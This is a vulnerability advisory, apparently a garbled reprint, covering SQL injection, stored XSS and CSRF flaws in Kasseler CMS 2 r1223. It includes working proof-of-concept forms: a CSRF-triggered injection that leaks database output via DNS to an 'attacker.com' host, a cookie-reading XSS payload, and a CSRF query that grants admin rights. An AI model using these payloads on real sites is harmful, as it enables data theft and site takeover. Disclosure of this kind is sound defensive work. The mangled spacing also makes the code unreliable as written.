Affected products: Kasseler CMS defect version: 2 r1223 and probably prior beta version: 2 r1223 defect type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79], cross-Site Request Forgery [CWE-352] CVE References: CVE-2013-3727, CVE-2013-3728, CVE-2013-3729 risk level: Medium CVSSv2 Base Scores: 5.1 (AV: N/AC: H/Au: N/C: p/I: P/A: P), 4 (AV: N/AC: L/Au: S/C: N/I: P/A: N ), 5.1 (AV: N/AC: H/Au: N/C: P/I: P/A: P) fixed status: Discovered and Provided: high-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) Summary: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Kasseler CMS, which can be exploited to perform SQL injection, Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks and compromise vulnerable application. 1) SQL Injection in Kasseler CMS: CVE-2013-372 7 The vulnerability exists due to insufficient validation of "groups" http post parameter passed to "/admin. php "script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. this vulnerability cocould also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. in o Rder to do so an attacker shoshould trick logged-in administrator to visit a webpage with CSRF exploit. basic CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows platform. it will send a DNS request demanding IP addess for 'version () '(or any other sensetive output from the database) subdomain ". attacke R.com "(a domain name, DNS server of which is controlled by the attacker): <form action =" http: // www.2cto.com/admin. php? Module = sendmail & do = send "method =" post "name =" main "> <input type =" hidden "name =" title "value =" 1 "> <input type = "hidden" name = "message" value = "1"> <input type = "hidden" name = "attache_page" value = "1"> <input type = "hidden" name = "groups []" value = "123) OR 1 = (select load_file (CONCAT (CHAR (92), CHAR (92), (select version (), CHAR (46), CHAR (97 ), CHAR (116), CHAR (116), CHAR (97), CHAR (99), CHAR (107), CHAR (101), CHAR (114), CH AR (46), CHAR (99), CHAR (111), CHAR (109), CHAR (92), CHAR (102), CHAR (111), CHAR (111 ), CHAR (98), CHAR (97), CHAR (114 )))) -- "> <input type =" hidden "name =" "value =" "> <input type =" hidden "name =" "value =" "> <input type =" submit "id =" btn "> </form> <script> document. main. submit (); </script> 2) Stored Cross-Site Scripting (XSS) in Kasseler CMS: CVE-2013-3728 The vulnerability exists due to insufficient filtration" Cat "http post parameter passed to"/admin. php "script. A remote attacker with privileges to create categories can permanently inject arbitrary HTML and script code into application database that will be executed in browser of every website visitor. the following PoC code displays user's cookies using JavaScript 'alert () 'function: <form action = "http: // [host]/admin. php? Module = forum & do = admin_new_category "method =" post "name =" main "> <input type =" hidden "name =" cat "value =" <script> alert (document. cookie); </script> "> <input type =" submit "id =" btn "> </form> <script> document. main. submit (); </script> 3) Parse ross-Site Request Forgery (CSRF) in Kasseler CMS: CVE-2013-3729 The vulnerability exists due to absence of CSRF protection mechanic ISMS in the entire application. A remote Attacker can trick logged-in administrator to visit a specially crafted webpage with CSRF exploit code. this will enable the attacker to execute arbitrary SQL queries in application's database and gain complete control over the application. the following CSRF exploit code will grant administrative privileges to user with ID = 2: <form action = "http: // [host]/admin. php? Module = database & do = SQL _query "method =" post "name =" main "> <input type =" hidden "name =" query "value =" UPDATE 'kasseler '. 'kasseler _ users' SET 'user _ level' = '2', 'user _ group' = '1' WHERE 'kasseler _ users '. 'uid' = 2 LIMIT 1; "> <input type =" submit "id =" btn "> </form> <script> document. main. submit (); </script> Registration is open by default, and the attacker can easily get his user ID user from the profile Page: http: // [host]/index. php? Module = account & do = user & id = 2 workshop solution: upgrade to Kasseler CMS 2 r1232. More Information: http://diff.kasseler-cms.net/svn.html http://diff.kasseler-cms.net/svn/patches/1232.html Revoke Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. details of this Advisory may be updated in order to provide as accurate information as possible. the latest version of the Advisory is available on web page [1] in the References.